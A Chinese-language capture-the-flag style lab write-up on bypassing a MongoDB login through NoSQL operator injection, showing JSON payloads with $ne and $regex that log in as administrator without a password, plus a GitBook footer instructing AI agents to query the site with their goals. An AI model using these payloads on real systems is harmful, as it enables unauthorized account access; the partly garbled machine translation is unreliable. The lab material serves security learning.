> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web/nosql-injection/authentication-bypass-via-nosql-operator-injection.md).
# 通过注入 NoSQL 控制器绕过认证
### 利用 NoSQL 运算符注入绕过身份验证
**实验背景**
此实验的连接功能基于数据库 **MongoDB（NoSQL）**. / 它通过 \*\*MongoDB\*\* 运算符易受 NoSQL 注入攻击。
\*\*目标：\*\*/ 以……身份连接到应用程序 **用户 `administrator`** 而无需知道其密码。
已提供标准用户的有效凭据：
* **wiener : peter**
**登录表单行为**
存在一个登录面板。/ 通过……发送到服务器的请求 **POST** 采用 JSON 格式：
```json
{
"username":"wiener",
"password":"peter"
}
```
**使用……进行注入尝试 `$ne` 运算符**
首先想到的是，通过表明管理员的密码不同于 x 来强制其进行身份验证
```json
{
"username": "administrator",
"password": { "$ne": "x" }
}
```
这一尝试 **不起作用** 在这种特定情况下。
**使用运算符绕过 `$regex`**
可以使用……进行注入 **`$regex`** 运算符，它允许对字段进行模式匹配。
**以用户 wiener 为例的可用示例**
```json
{
"username": {
"$regex": "wie.*"
},
"password": "peter"
}
```
此查询对应于任何名称以 `wie`.
**以无密码管理员身份访问**
在不知道管理员密码的情况下，可以使用以下组合：
```json
{
"username": {
"$regex": "^a"
},
"password": {
"$ne": "x"
}
}
```
\*\*逻辑解释：\*\*
> « 给我一个名称以 **一个**/ 且其密码 **n 不等于 x** »
**结果**
服务器接受该请求并返回一个 **302 Found**，表示身份验证成功。
返回了新的会话 cookie：
`Set-Cookie: session=1jnvdOe3aaWIAyrj3WzRRJA1X40Ma1QU`
现在以管理员身份访问该应用程序\*\*
---
# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.
## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.
Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:
```
GET https://hacking-notes.jord4n.pro/zh/web/nosql-injection/authentication-bypass-via-nosql-operator-injection.md?ask=&goal=
```
`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.
The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.
Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.